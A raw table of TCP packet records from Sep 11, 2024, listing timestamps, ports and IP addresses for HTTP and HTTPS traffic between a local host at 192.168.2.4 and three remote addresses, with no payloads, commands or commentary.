Sep 11, 2024 16:22:18.777724028 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.777739048 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.777746916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.777760983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.777769089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.777776957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.777795076 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.777827024 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.779792070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.779799938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.779808044 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.779841900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.779906988 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.779915094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.779930115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.779937983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.779951096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.779956102 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.779989004 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.779989004 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.821888924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.821965933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.821970940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822037935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822055101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822068930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822077036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822077990 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822084904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822130919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822326899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822335005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822352886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822360992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822375059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822380066 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822392941 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822403908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822408915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822408915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822427988 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822587967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822594881 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822611094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822616100 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822649956 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822748899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822757006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822758913 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822767019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822803020 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822861910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822869062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822884083 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822887897 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822901964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822911024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822918892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822918892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822937012 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822948933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822962999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822962999 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.822971106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.822989941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823071003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823079109 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823092937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823098898 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823110104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823123932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823128939 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823132038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823147058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823151112 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823153973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823170900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823214054 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823331118 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823368073 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823390007 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823400974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823432922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823436975 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823441029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823451042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823457956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823461056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823466063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823496103 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823539019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823546886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823559999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823565960 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823568106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823585987 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823585987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823595047 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823615074 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823627949 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823678970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823684931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823735952 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823744059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823765993 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823815107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823822021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823836088 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823841095 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823844910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823853016 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.823858023 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823865891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.823888063 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824074030 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824081898 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824095964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824103117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824110985 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824120045 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824125051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824134111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824148893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824151993 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824170113 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824481010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824489117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824503899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824507952 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824531078 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824539900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824553013 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824558020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824568033 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824583054 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824585915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824609995 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824675083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824698925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824717045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824733019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824764967 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824796915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824850082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824857950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824865103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824872971 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824887991 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824888945 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824913979 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824913979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824924946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824933052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824935913 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824940920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824958086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824958086 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824965954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824980021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.824982882 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.824999094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.825083017 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.848242998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.848256111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.848274946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.848284960 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.848300934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.848309040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.848325014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.848339081 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.848395109 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.848413944 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.848458052 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.855138063 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.855166912 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.855287075 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.855354071 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.855421066 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.858004093 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858076096 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858095884 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858102083 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858146906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858154058 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858170986 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858197927 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858207941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858216047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858230114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858237982 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858253002 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858261108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858280897 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858305931 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858382940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858391047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858406067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858413935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858453989 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858490944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858499050 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858513117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858520031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858521938 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858527899 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858541965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858549118 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858551025 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858566999 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858584881 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858603001 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858620882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858628988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858643055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858668089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858679056 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858695984 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858702898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858716965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858724117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858740091 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858740091 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858753920 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858755112 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858761072 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858784914 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858808994 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858815908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858838081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858844995 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858853102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858855009 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858855009 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858891010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858899117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858949900 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858952045 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.858983040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.858990908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859004021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859010935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859018087 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859034061 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859036922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859045982 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859054089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859060049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859076977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859083891 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859123945 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859131098 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859157085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859164953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859179020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859185934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859194040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859208107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859215021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859222889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859227896 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859230042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859234095 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859237909 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859251976 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859252930 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859278917 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859278917 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859278917 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859297037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859302998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859303951 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859311104 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859325886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859333992 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859353065 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859400988 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859431982 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859441042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859455109 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859462976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.859477997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.859483957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.859493971 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859498978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859507084 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859508038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859514952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859522104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.859529018 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.859535933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.859534979 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.859534979 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.859544992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859544992 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859554052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859577894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.859579086 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859586000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859636068 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859642982 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859646082 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859658003 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859666109 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859673977 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859688044 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859694958 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859702110 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859709024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.859711885 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859716892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.859724045 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859752893 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859772921 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.859772921 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.859802008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859814882 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859822035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859828949 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859836102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859850883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859858036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859872103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859879017 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859879971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859879017 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859896898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859914064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859920025 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859920025 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859931946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859937906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859945059 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859951973 CEST	80	49734	147.45.44.104	192.168.2.4
